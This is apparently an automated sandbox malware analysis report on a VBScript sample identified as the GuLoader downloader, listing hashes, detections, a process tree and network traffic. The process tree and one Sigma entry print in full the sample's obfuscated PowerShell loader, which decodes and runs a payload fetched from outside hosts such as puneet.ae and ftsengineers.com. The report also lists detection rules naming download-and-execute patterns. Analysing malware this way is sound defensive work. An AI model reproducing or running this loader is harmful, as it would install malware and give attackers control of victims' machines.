Edit tour

Windows Analysis Report
v4BET4inNV.vbs

Overview

General Information

Sample name:	v4BET4inNV.vbs renamed because original name is a hash value
Original sample name:	3cf4bcb55cd5a352b25c180acce977e652863d8ed09d07335aed81dbc56520f2.vbs
Analysis ID:	1578210
MD5:	8b310411b49580ae8d67a2ed916bad17
SHA1:	5eb38f0da8298d117c1c435246959c90abe23da6
SHA256:	3cf4bcb55cd5a352b25c180acce977e652863d8ed09d07335aed81dbc56520f2
Tags:	185-236-228-9287-120-112-91www-al-rasikh-comuser-JAMESWT_MHT
Infos:

Detection

GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

VBScript performs obfuscated calls to suspicious functions

Yara detected GuLoader

Yara detected Powershell download and execute

AI detected suspicious sample

Found suspicious powershell code related to unpacking or dynamic code loading

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2684 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\v4BET4inNV.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

WMIC.exe (PID: 3636 cmdline: wmic diskdrive get caption,serialnumber MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 1480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1200 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Columbusgs='Reallnningernes';;$Cares='Doegling';;$Novela='Dyrkere55';;$Pigesjovetridiocyte='Teister';;$peacefuller=$host.Name;function Multiplum($Pousserer){If ($peacefuller) {$Exitskiltes=2} for ($Pigesjovet=$Exitskiltes;;$Pigesjovet+=3){if(!$Pousserer[$Pigesjovet]){cls;break }$Vandstande+=$Pousserer[$Pigesjovet];$Fiskeinteressernes='Unmoralises'}$Vandstande}function Unchanneled($Pigesjovetmmunotoxin){ .($instrumentalis) ($Pigesjovetmmunotoxin)}$Kvabserne=Multiplum 'SpnOreActdu.D.W';$Kvabserne+=Multiplum 'AvE bPscMalDeIC ESlnCeT';$Bugfish=Multiplum ' fM.joD.zBeiLalAslF a i/';$Exosperm=Multiplum 'OpTStlSksRa1 .2';$Bagprojektion121='go[.an,oESltAd.OssK e,ar,aV AiGrC,fe OP poslIManTeT.rm rADdNP,a UgDaE,lrv.].j:,u: ,sS EMuCCeuRyrR.iRetK.YBap NRU o Tt UoHect OAnL H= .$ SeRoX lO ssMip nEVaRVam';$Bugfish+=Multiplum 'Ar5R .Kn0.o (gjWFoiP nM.d roBewdrs , VoNStTs Rv1Un0Re.Dr0V,;T UtWstiAnn,e6P,4Br; S Sux 6 N4En;T .urD vSt: E1Pr3Co1r .D.0s )Fl BaG eeR c GkPaoEn/Ja2 s0 U1fu0 C0L,1 l0Ha1Wa oF .iMirMleFufu osuxFo/ M1M 3.k1ny.sn0';$Whitefishery=Multiplum ',iuCiS yeHurVe- oAUngGhEIbN Rt';$Knysten=Multiplum 'Vah it ,t,tp.is S:Fr/Ec/,rwMewSew,i..epGuuBenSpeF.eretSl.,gaS e E/Hei.nt S/AnKKoo Gn utJvrPeaScs nt nrPai .g tsh.L mSes o n>N.hU t t ApCosCo: S/On/ rwL,wBlw U.Prf VtBesH e n hgGei inCaeFieJ rFrs t. .cV o LmP /gei ItCl/MiKCaoOrn otEmrAnaA sTotP r,miByg,itVe.HamB s Eo';$Tikronesedler=Multiplum 'Sm>';$instrumentalis=Multiplum 'SpISpe vX';$Ribboned46='Treater';$fabriksvarerne='\Pharmacists201.Str';Unchanneled (Multiplum 'un$Chg yL uO .BGea VLTi:SisVsAB L aTDvI CNBte Rs T=,n$ E HN.aVA.:GrAOvp ,PSrd CaS,TR aHn+ t$UnfPrASeBUdRMaI KByS EVReAInrA e krRaN oE');Unchanneled (Multiplum 'Af$SpGCaL aoI BElA rLRo:,as JInUs S.jKseeGim rI.lK,pkVoeLilPa= D$D.KSanS.YHaSTit EMenst. s .PboLdiIVit,a(As$U T riEnks,r Uo.aNFeeExsBre ADKolO.E.rRSy)');Unchanneled (Multiplum $Bagprojektion121);$Knysten=$Sjuskemikkel[0];$Thyreoid=(Multiplum ' l$P gN,lSlOF,BHaAPelOv:PeI.oN v aAPoLToIRed FET,f ODaRAasN I akM.R GILenD G U=EnN oE IW -Reo .bKnJNuE dCPuT,c A S rYLaSI,tBreDrm a.H.$ Ak vnoABoB es e PR hnKaE');Unchanneled ($Thyreoid);Unchanneled (Multiplum 'Pr$ PISan v aa l ,i ad eCofthoBirBisT,iRek or i fnPegUn.M HpreCoa dAfe DrSlss [by$ WLah Fi BtF eHef DiAds ohCoeArr yIo]Ce=W $ToBTiuP.g yf ,iF sUnh');$Reedmaker=Multiplum ' r$RaIUsn RvSea,al ai,mdFleAffT oFirK sGliKok PrV,iAvnFrg a.SeDJaoCew AnR,lT.ogra TdScFV i nlAne (De$KaKChnPlyFlsKltA,eQ,nm.,In$ Ap Ge DnMosMiiTiozanKvs,maCildrd IeSurNo)';$pensionsalder=$Saltines;Unchanneled (Multiplum 'eg$MeGF LTeoJabRiAr.LAl:,bK TIh DCeDBeiF.ES SMa=Ga(Get He,rSDitSa-AdpStaShTGehBe ,a$Kop TeLaN,eSB,i o fn sMaARalBeDPoeSeRpa)');while (!$Kiddies) {Unchanneled (Multiplum 'Hy$AngInlP oelbIma FlR,: FUU dSegnoaTevTueSp=Ar$ nP,kiFogDreAks AjMeoEjvR ebetUdn Ut AecarHui umSms alRus nbriStnH.gPh8') ;Unchanneled $Reedmaker;Unchanneled (Multiplum 'I sPlTFoARhR Ht S-Rus nLSte .E yp A U.4');Unchanneled (Multiplum 'Fr$T GOvlGioP.bHyaSnLF.: HkNeIA.dHud AI.eEe SKo=Au(Mat ,EPoSimtFu-MoPTuATrtMah E Ho$ pB EM nf s DiP.OFoNFosNeA LStD,iEsar e)') ;Unchanneled (Multiplum ' V$SkgUdlKao LbAdAI.l o:HyRSpOT,mO B mEClSUn=B,$VogBalG,ORabbiaJolS :AnIMoo oDTeiP.dPrS ,+Fe+Ri%Ki$ SS CJMiUshSPrkS.eDeMtaiAsKNoKrueRiLAn. CCChoU.UDenStT') ;$Knysten=$Sjuskemikkel[$Rombes]}$Balletkorpsets=301384;$Afledtes=28316;Unchanneled (Multiplum 'Fo$Rhg oLMioMubnoaC,lAu: TaMoufrgBoUR sLitFos.eNDed AScg , V.= u pag Be,stBa-UnC,ooSkN Mt SELeNReT.e Pa$,ep aE NSuS ,i SOAsnO,s.baFrL BdSkEpaR');Unchanneled (Multiplum 'Sk$Drg.elJoo,ab taKol S:SeRDkigep PiE eJunRyiSlsSktBu A=Re l[ReS ,y ys MtLre Smhe.lnCGao an v Ce .rHjtNu]Te:Se:etFGarMaoKhm cB.la SsRee .6Un4faS GtaarSui OnTrg r(F $ A Ju UgThususSut HsD nAndAtaTug m)');Unchanneled (Multiplum 'Co$HaGsklFloInbDeaTrLSa:SiEPel ,eD kV T RFuo it eo.KIcN,uIAckE kHiES,rHi In=Mi S [ rSOtyM SOvtH eSnmSp.deTA eAnx ,t.f. E iNnaC roLudBlI,onIng.e] e:b :AgAFjSS C I KISk.BegKleS,t Ns KTPeRS I Sn RG b( x$ .R ,IMapMaiSteS NLeImaSDyTU )');Unchanneled (Multiplum ' .$ScgArlp,oToBO a hLGr:Opb PuT,zDiZ.ma,rRSydFo=Em$DyE el Te rK TR,R oOMaTTrEU.K.hN BISyK.lKSpEF r C. Ns uB BDis FTWurPrIFoNbiGFu( .$ FBR aGeL nLDie nTShK.oOCrRNepKrS VESutJ,sI ,,a$HaAUnf.eLSteluDC.tL ed.sE )');Unchanneled $Buzzard;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1576 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Columbusgs='Reallnningernes';;$Cares='Doegling';;$Novela='Dyrkere55';;$Pigesjovetridiocyte='Teister';;$peacefuller=$host.Name;function Multiplum($Pousserer){If ($peacefuller) {$Exitskiltes=2} for ($Pigesjovet=$Exitskiltes;;$Pigesjovet+=3){if(!$Pousserer[$Pigesjovet]){cls;break }$Vandstande+=$Pousserer[$Pigesjovet];$Fiskeinteressernes='Unmoralises'}$Vandstande}function Unchanneled($Pigesjovetmmunotoxin){ .($instrumentalis) ($Pigesjovetmmunotoxin)}$Kvabserne=Multiplum 'SpnOreActdu.D.W';$Kvabserne+=Multiplum 'AvE bPscMalDeIC ESlnCeT';$Bugfish=Multiplum ' fM.joD.zBeiLalAslF a i/';$Exosperm=Multiplum 'OpTStlSksRa1 .2';$Bagprojektion121='go[.an,oESltAd.OssK e,ar,aV AiGrC,fe OP poslIManTeT.rm rADdNP,a UgDaE,lrv.].j:,u: ,sS EMuCCeuRyrR.iRetK.YBap NRU o Tt UoHect OAnL H= .$ SeRoX lO ssMip nEVaRVam';$Bugfish+=Multiplum 'Ar5R .Kn0.o (gjWFoiP nM.d roBewdrs , VoNStTs Rv1Un0Re.Dr0V,;T UtWstiAnn,e6P,4Br; S Sux 6 N4En;T .urD vSt: E1Pr3Co1r .D.0s )Fl BaG eeR c GkPaoEn/Ja2 s0 U1fu0 C0L,1 l0Ha1Wa oF .iMirMleFufu osuxFo/ M1M 3.k1ny.sn0';$Whitefishery=Multiplum ',iuCiS yeHurVe- oAUngGhEIbN Rt';$Knysten=Multiplum 'Vah it ,t,tp.is S:Fr/Ec/,rwMewSew,i..epGuuBenSpeF.eretSl.,gaS e E/Hei.nt S/AnKKoo Gn utJvrPeaScs nt nrPai .g tsh.L mSes o n>N.hU t t ApCosCo: S/On/ rwL,wBlw U.Prf VtBesH e n hgGei inCaeFieJ rFrs t. .cV o LmP /gei ItCl/MiKCaoOrn otEmrAnaA sTotP r,miByg,itVe.HamB s Eo';$Tikronesedler=Multiplum 'Sm>';$instrumentalis=Multiplum 'SpISpe vX';$Ribboned46='Treater';$fabriksvarerne='\Pharmacists201.Str';Unchanneled (Multiplum 'un$Chg yL uO .BGea VLTi:SisVsAB L aTDvI CNBte Rs T=,n$ E HN.aVA.:GrAOvp ,PSrd CaS,TR aHn+ t$UnfPrASeBUdRMaI KByS EVReAInrA e krRaN oE');Unchanneled (Multiplum 'Af$SpGCaL aoI BElA rLRo:,as JInUs S.jKseeGim rI.lK,pkVoeLilPa= D$D.KSanS.YHaSTit EMenst. s .PboLdiIVit,a(As$U T riEnks,r Uo.aNFeeExsBre ADKolO.E.rRSy)');Unchanneled (Multiplum $Bagprojektion121);$Knysten=$Sjuskemikkel[0];$Thyreoid=(Multiplum ' l$P gN,lSlOF,BHaAPelOv:PeI.oN v aAPoLToIRed FET,f ODaRAasN I akM.R GILenD G U=EnN oE IW -Reo .bKnJNuE dCPuT,c A S rYLaSI,tBreDrm a.H.$ Ak vnoABoB es e PR hnKaE');Unchanneled ($Thyreoid);Unchanneled (Multiplum 'Pr$ PISan v aa l ,i ad eCofthoBirBisT,iRek or i fnPegUn.M HpreCoa dAfe DrSlss [by$ WLah Fi BtF eHef DiAds ohCoeArr yIo]Ce=W $ToBTiuP.g yf ,iF sUnh');$Reedmaker=Multiplum ' r$RaIUsn RvSea,al ai,mdFleAffT oFirK sGliKok PrV,iAvnFrg a.SeDJaoCew AnR,lT.ogra TdScFV i nlAne (De$KaKChnPlyFlsKltA,eQ,nm.,In$ Ap Ge DnMosMiiTiozanKvs,maCildrd IeSurNo)';$pensionsalder=$Saltines;Unchanneled (Multiplum 'eg$MeGF LTeoJabRiAr.LAl:,bK TIh DCeDBeiF.ES SMa=Ga(Get He,rSDitSa-AdpStaShTGehBe ,a$Kop TeLaN,eSB,i o fn sMaARalBeDPoeSeRpa)');while (!$Kiddies) {Unchanneled (Multiplum 'Hy$AngInlP oelbIma FlR,: FUU dSegnoaTevTueSp=Ar$ nP,kiFogDreAks AjMeoEjvR ebetUdn Ut AecarHui umSms alRus nbriStnH.gPh8') ;Unchanneled $Reedmaker;Unchanneled (Multiplum 'I sPlTFoARhR Ht S-Rus nLSte .E yp A U.4');Unchanneled (Multiplum 'Fr$T GOvlGioP.bHyaSnLF.: HkNeIA.dHud AI.eEe SKo=Au(Mat ,EPoSimtFu-MoPTuATrtMah E Ho$ pB EM nf s DiP.OFoNFosNeA LStD,iEsar e)') ;Unchanneled (Multiplum ' V$SkgUdlKao LbAdAI.l o:HyRSpOT,mO B mEClSUn=B,$VogBalG,ORabbiaJolS :AnIMoo oDTeiP.dPrS ,+Fe+Ri%Ki$ SS CJMiUshSPrkS.eDeMtaiAsKNoKrueRiLAn. CCChoU.UDenStT') ;$Knysten=$Sjuskemikkel[$Rombes]}$Balletkorpsets=301384;$Afledtes=28316;Unchanneled (Multiplum 'Fo$Rhg oLMioMubnoaC,lAu: TaMoufrgBoUR sLitFos.eNDed AScg , V.= u pag Be,stBa-UnC,ooSkN Mt SELeNReT.e Pa$,ep aE NSuS ,i SOAsnO,s.baFrL BdSkEpaR');Unchanneled (Multiplum 'Sk$Drg.elJoo,ab taKol S:SeRDkigep PiE eJunRyiSlsSktBu A=Re l[ReS ,y ys MtLre Smhe.lnCGao an v Ce .rHjtNu]Te:Se:etFGarMaoKhm cB.la SsRee .6Un4faS GtaarSui OnTrg r(F $ A Ju UgThususSut HsD nAndAtaTug m)');Unchanneled (Multiplum 'Co$HaGsklFloInbDeaTrLSa:SiEPel ,eD kV T RFuo it eo.KIcN,uIAckE kHiES,rHi In=Mi S [ rSOtyM SOvtH eSnmSp.deTA eAnx ,t.f. E iNnaC roLudBlI,onIng.e] e:b :AgAFjSS C I KISk.BegKleS,t Ns KTPeRS I Sn RG b( x$ .R ,IMapMaiSteS NLeImaSDyTU )');Unchanneled (Multiplum ' .$ScgArlp,oToBO a hLGr:Opb PuT,zDiZ.ma,rRSydFo=Em$DyE el Te rK TR,R oOMaTTrEU.K.hN BISyK.lKSpEF r C. Ns uB BDis FTWurPrIFoNbiGFu( .$ FBR aGeL nLDie nTShK.oOCrRNepKrS VESutJ,sI ,,a$HaAUnf.eLSteluDC.tL ed.sE )');Unchanneled $Buzzard;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.3350109878.0000000005C24000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000004.00000002.2428365661.0000017472B4E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
Process Memory Space: powershell.exe PID: 1200	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 1200	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1879e9:$b2: ::FromBase64String( 0x187a22:$b2: ::FromBase64String( 0x187a5c:$b2: ::FromBase64String( 0x187a97:$b2: ::FromBase64String( 0x187ad3:$b2: ::FromBase64String( 0x187b10:$b2: ::FromBase64String( 0x187b4e:$b2: ::FromBase64String( 0x187b8d:$b2: ::FromBase64String( 0x187bcd:$b2: ::FromBase64String( 0x187c0e:$b2: ::FromBase64String( 0x187c50:$b2: ::FromBase64String( 0x187c93:$b2: ::FromBase64String( 0x187cd7:$b2: ::FromBase64String( 0x187d1c:$b2: ::FromBase64String( 0x14169:$s1: -join 0x148c9:$s1: -join 0x197a67:$s1: -join 0x1a4b3c:$s1: -join 0x1a7f0e:$s1: -join 0x1a85c0:$s1: -join 0x1aa0b1:$s1: -join
Process Memory Space: powershell.exe PID: 1576	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 1576	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x205ea1:$b2: ::FromBase64String( 0x151146:$s1: -join 0x1abb77:$s1: -join 0x1b0e6e:$s1: -join 0x20076c:$s1: -join 0xdcd5b:$s3: reverse 0xe24e7:$s3: reverse 0xe3e35:$s3: reverse 0xe4100:$s3: reverse 0xe4773:$s3: reverse 0xe4f18:$s3: reverse 0xe9e97:$s3: reverse 0xea2b1:$s3: reverse 0xeae39:$s3: reverse 0xebae6:$s3: reverse 0x115cc6:$s3: reverse 0x117791:$s3: reverse 0x15a38f:$s3: reverse 0x16800f:$s3: reverse 0x1b9fad:$s3: reverse 0x1c6f1c:$s3: reverse
Click to see the 1 entries

Other

Source	Rule	Description	Author	Strings
amsi64_1200.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_1200.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xf747:$b2: ::FromBase64String( 0xcac7:$s1: -join 0x6273:$s4: += 0x6335:$s4: += 0xa55c:$s4: += 0xc679:$s4: += 0xc963:$s4: += 0xcaa9:$s4: += 0xee5b:$s4: += 0xeedb:$s4: += 0xefa1:$s4: += 0xf021:$s4: += 0xf1f7:$s4: += 0xf27b:$s4: += 0xd2df:$e4: Get-WmiObject 0xd4ce:$e4: Get-Process 0xd526:$e4: Start-Process
amsi32_1576.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xa2d4:$b2: ::FromBase64String( 0x935f:$s1: -join 0x2b0b:$s4: += 0x2bcd:$s4: += 0x6df4:$s4: += 0x8f11:$s4: += 0x91fb:$s4: += 0x9341:$s4: += 0x12b7e:$s4: += 0x12bfe:$s4: += 0x12cc4:$s4: += 0x12d44:$s4: += 0x12f1a:$s4: += 0x12f9e:$s4: += 0x9b77:$e4: Get-WmiObject 0x9d66:$e4: Get-Process 0x9dbe:$e4: Start-Process

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\v4BET4inNV.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\v4BET4inNV.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\v4BET4inNV.vbs", ProcessId: 2684, ProcessName: wscript.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\v4BET4inNV.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\v4BET4inNV.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\v4BET4inNV.vbs", ProcessId: 2684, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Columbusgs='Reallnningernes';;$Cares='Doegling';;$Novela='Dyrkere55';;$Pigesjovetridiocyte='Teister';;$peacefuller=$host.Name;function Multiplum($Pousserer){If ($peacefuller) {$Exitskiltes=2} for ($Pigesjovet=$Exitskiltes;;$Pigesjovet+=3){if(!$Pousserer[$Pigesjovet]){cls;break }$Vandstande+=$Pousserer[$Pigesjovet];$Fiskeinteressernes='Unmoralises'}$Vandstande}function Unchanneled($Pigesjovetmmunotoxin){ .($instrumentalis) ($Pigesjovetmmunotoxin)}$Kvabserne=Multiplum 'SpnOreActdu.D.W';$Kvabserne+=Multiplum 'AvE bPscMalDeIC ESlnCeT';$Bugfish=Multiplum ' fM.joD.zBeiLalAslF a i/';$Exosperm=Multiplum 'OpTStlSksRa1 .2';$Bagprojektion121='go[.an,oESltAd.OssK e,ar,aV AiGrC,fe OP poslIManTeT.rm rADdNP,a UgDaE,lrv.].j:,u: ,sS EMuCCeuRyrR.iRetK.YBap NRU o Tt UoHect OAnL H= .$ SeRoX lO ssMip nEVaRVam';$Bugfish+=Multiplum 'Ar5R .Kn0.o (gjWFoiP nM.d roBewdrs , VoNStTs Rv1Un0Re.Dr0V,;T UtWstiAnn,e6P,4Br; S Sux 6 N4En;T .urD vSt: E1Pr3Co1r .D.0s )Fl BaG eeR c GkPaoEn/Ja2 s0 U1fu0 C0L,1 l0Ha1Wa oF .iMirMleFufu osuxFo/ M1M 3.k1ny.sn0';$Whitefishery=Multiplum ',iuCiS yeHurVe- oAUngGhEIbN Rt';$Knysten=Multiplum 'Vah it ,t,tp.is S:Fr/Ec/,rwMewSew,i..epGuuBenSpeF.eretSl.,gaS e E/Hei.nt S/AnKKoo Gn utJvrPeaScs nt nrPai .g tsh.L mSes o n>N.hU t t ApCosCo: S/On/ rwL,wBlw U.Prf VtBesH e n hgGei inCaeFieJ rFrs t. .cV o LmP /gei ItCl/MiKCaoOrn otEmrAnaA sTotP r,miByg,itVe.HamB s Eo';$Tikronesedler=Multiplum 'Sm>';$instrumentalis=Multiplum 'SpISpe vX';$Ribboned46='Treater';$fabriksvarerne='\Pharmacists201.Str';Unchanneled (Multiplum 'un$Chg yL uO .BGea VLTi:SisVsAB L aTDvI CNBte Rs T=,n$ E HN.aVA.:GrAOvp ,PSrd CaS,TR aHn+ t$UnfPrASeBUdRMaI KByS EVReAInrA e krRaN oE');Unchanneled (Multiplum 'Af$SpGCaL aoI BElA rLRo:,as JInUs S.jKseeGim rI.lK,pkVoeLilPa= D$D.KSanS.YHaSTit EMenst. s .PboLdiIVit,a(As$U T riEnks,r Uo.aNFeeExsBre ADKolO.E.rRSy)');Unchanneled (Multiplum $Bagprojektion121);$Knysten=$Sjuskemikkel[0];$Thyreoid=(Multiplum ' l$P gN,lSlOF,BHaAPelOv:PeI.oN v aAPoLToIRed FET,f ODaRAasN I akM.R GILenD G U=EnN oE IW -Reo .bKnJNuE dCPuT,c A S rYLaSI,tBreDrm a.H.$ Ak vnoABoB es e PR hnKaE');Unchanneled ($Thyreoid);Unchanneled (Multiplum 'Pr$ PISan v aa l ,i ad eCofthoBirBisT,iRek or i fnPegUn.M HpreCoa dAfe DrSlss [by$ WLah Fi BtF eHef DiAds ohCoeArr yIo]Ce=W $ToBTiuP.g yf ,iF sUnh');$Reedmaker=Multiplum ' r$RaIUsn RvSea,al ai,mdFleAffT oFirK sGliKok PrV,iAvnFrg a.SeDJaoCew AnR,lT.ogra TdScFV i nlAne (De$KaKChnPlyFlsKltA,eQ,nm.,In$ Ap Ge DnMosMiiTiozanKvs,maCildrd IeSurNo)';$pensionsalder=$Saltines;Unchanneled (Multiplum 'eg$MeGF LTeoJabRiAr.LAl:,bK TIh DCeDBeiF.ES SMa=Ga(Get He,rSDitSa-AdpStaShTGehBe ,a$Kop TeLaN,eSB,i o fn sMaARalBeDPoeSeRpa)');while (!$Kiddies) {Unchanneled (Multiplum 'Hy$AngInlP oelbIma FlR,: FUU dSegnoaTevTueSp=Ar$ nP,kiFogDreAks AjMeoEjvR ebetUdn Ut AecarHui umSms alRus nbriStnH.gPh8') ;Unchanneled $Reedmaker;Unchanneled (Multiplum 'I sPlTFoARhR Ht S-Rus nLSte .E yp A U.4');Un

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T12:35:22.985120+0100	2803305	3	Unknown Traffic	192.168.2.5	49706	209.124.66.28	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: v4BET4inNV.vbs

ReversingLabs: Detection: 23%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 96.6% probability

Source: unknown	HTTPS traffic detected: 209.124.66.28:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 209.124.66.28:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.53.42.63:443 -> 192.168.2.5:49728 version: TLS 1.2

Source:	Binary string: ore.pdb source: powershell.exe, 00000007.00000002.3354586919.000000000760D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000007.00000002.3360513938.00000000087A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: btem.pdbt source: powershell.exe, 00000004.00000002.2397099013.0000017460F00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000007.00000002.3335231886.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic	HTTP traffic detected: GET /it/Kontrastrigt.mso HTTP/1.1Host: www.puneet.ae
Source: global traffic	HTTP traffic detected: GET /it/Kontrastrigt.mso HTTP/1.1Host: puneet.aeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /it/Kontrastrigt.mso HTTP/1.1Host: www.ftsengineers.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 103.53.42.63 103.53.42.63
Source: Joe Sandbox View	IP Address: 209.124.66.28 209.124.66.28

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49706 -> 209.124.66.28:443

Source: global traffic

HTTP traffic detected: GET /it/Kontrastrigt.mso HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: www.puneet.aeConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /it/Kontrastrigt.mso HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: www.puneet.aeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /it/Kontrastrigt.mso HTTP/1.1Host: www.puneet.ae
Source: global traffic	HTTP traffic detected: GET /it/Kontrastrigt.mso HTTP/1.1Host: puneet.aeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /it/Kontrastrigt.mso HTTP/1.1Host: www.ftsengineers.comConnection: Keep-Alive

